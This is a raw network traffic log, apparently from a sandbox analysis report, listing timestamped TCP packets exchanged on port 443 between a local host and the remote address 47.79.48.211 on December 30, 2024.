Dec 30, 2024 04:59:04.816072941 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.818042040 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.818058968 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.818093061 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.818100929 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.818130016 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.818141937 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.822869062 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.822884083 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.822926998 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.822935104 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.822967052 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.822984934 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.873222113 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.873241901 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.873275042 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.873282909 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.873298883 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.873557091 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.879813910 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.879828930 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.879899979 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.879899979 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.879910946 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.880127907 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.885178089 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.885195017 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.885227919 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.885236025 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.885282993 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.885305882 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.890214920 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.890230894 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.890266895 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.890275002 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.890302896 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.890319109 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.895571947 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.895586014 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.895632982 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.895642042 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.895787954 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.899756908 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.899771929 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.899842978 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.899851084 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.899899960 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.901504040 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.901521921 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.901571035 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.901578903 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.901614904 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.901633978 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.906418085 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.906435013 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.906543016 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.906552076 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.907784939 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.956743956 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.956759930 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.956800938 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.956810951 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.956825018 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.956852913 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.963351011 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.963378906 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.963426113 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.963426113 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.963433981 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.963489056 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.968719959 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.968734980 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.968785048 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.968791962 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.968813896 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.968833923 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.973886013 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.973901987 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.973944902 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.973952055 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.973978996 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.973994017 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.979068041 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.979082108 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.979140043 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.979147911 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.979197979 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.983385086 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.983398914 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.983443975 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.983450890 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.983475924 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.983490944 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.985057116 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.985071898 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.985136032 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.985146999 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.988805056 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.989958048 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.989974976 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.990036964 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:04.990044117 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:04.991826057 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.040324926 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.040343046 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.040395975 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.040402889 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.040429115 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.040441036 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.046947956 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.046962976 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.047041893 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.047049046 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.047106028 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.052309990 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.052325010 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.052375078 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.052382946 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.052494049 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.057368994 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.057389975 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.057441950 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.057450056 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.057482958 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.057502031 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.062737942 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.062752962 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.062799931 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.062807083 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.062836885 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.062850952 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.067017078 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.067038059 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.067079067 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.067090034 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.067153931 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.067282915 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.068567038 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.068581104 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.068648100 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.068660021 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.068767071 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.073514938 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.073529959 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.073574066 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.073585033 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.073618889 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.123887062 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.123903990 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.123949051 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.123966932 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.123986006 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.124001980 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.130570889 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.130587101 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.130631924 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.130640030 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.130666018 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.130682945 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.135844946 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.135860920 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.135912895 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.135921001 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.135958910 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.140913010 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.140928030 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.140966892 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.140975952 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.141004086 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.141304016 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.146251917 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.146266937 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.146317005 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.146325111 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.146363020 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.150489092 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.150504112 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.150552988 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.150561094 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.150590897 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.152134895 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.152153969 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.152192116 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.152199030 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.152221918 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.152252913 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.157092094 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.157109976 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.157159090 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.157169104 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.157192945 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.157202005 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.207504988 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.207520962 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.207549095 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.207587004 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.207593918 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.207680941 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.214035034 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.214052916 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.214101076 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.214111090 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.214128971 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.214148998 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.219500065 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.219517946 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.219566107 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.219573975 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.219605923 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.224917889 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.224934101 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.224983931 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.224993944 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.225019932 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.225029945 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.229794979 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.229809999 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.229855061 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.229862928 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.229904890 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.243037939 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.243053913 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.243103981 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.243110895 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.243124962 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.243145943 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.243151903 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.243166924 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.243172884 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.243192911 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.243212938 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.243216038 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.243226051 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.243237972 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.243251085 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.243258953 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.243264914 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.243288994 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.243310928 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.304474115 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.304491043 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.304534912 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.304543972 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.304584026 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.304594040 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.306396008 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.306416988 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.306483984 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.306490898 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.306515932 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.306539059 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.307027102 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.307043076 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.307071924 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.307079077 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.307099104 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.307117939 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.308636904 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.308655024 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.308706999 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.308715105 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.308831930 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.313595057 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.313611031 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.313657045 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.313663960 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.313684940 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.313699007 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.320368052 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.320384026 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.320416927 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.320425034 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.320457935 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.320735931 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.320750952 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.320800066 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.320806980 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.320873022 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.324215889 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.324233055 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.324270010 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.324275970 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.324316978 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.389420986 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.389437914 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.389527082 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.389542103 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.389589071 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.389801979 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.389816999 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.389863014 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.389869928 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.389903069 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.390533924 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.390551090 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.390625954 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.390634060 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.390670061 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.391982079 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.391998053 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.392038107 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.392045021 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.392088890 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.397073984 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.397089958 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.397139072 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.397147894 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.397219896 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.403964043 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.403980970 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.404016972 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.404022932 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.404045105 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.404125929 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.404208899 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.404223919 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.404254913 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.404261112 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.404284954 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.404295921 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.407798052 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.407812119 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.407849073 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.407856941 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.407875061 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.407891035 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.472974062 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.472990036 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.473031998 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.473046064 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.473066092 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.473079920 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.473400116 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.473416090 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.473458052 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.473465919 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.473754883 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.474040985 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.474056005 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.474075079 CET	49732	443	192.168.2.4	47.79.48.211
